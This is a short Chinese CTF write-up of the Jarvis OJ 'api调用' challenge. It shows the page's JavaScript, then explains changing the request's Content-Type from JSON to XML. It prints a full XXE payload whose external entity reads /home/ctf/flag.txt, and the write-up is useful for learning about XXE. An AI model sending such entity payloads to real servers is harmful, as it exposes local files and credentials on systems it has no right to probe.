Jarvis OJ api调用

查看源码后获得一串JS代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

由于JS学的贼辣鸡,读半天没读懂,看了下Response包发现

服务器是用python搭建的还有就是Content-Type很重要php框架slim架构上存在XXE漏洞P牛之前的一篇文章主要就利用修改content—type内容进行XXE漏洞,将Content-Type: application/json修改为Content-Type: application/xml利用别人的payload读取/home/ctf/flag.txt文件的内容得到flag

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

第一次接触js代码跟XXE漏洞,之后好好研究研究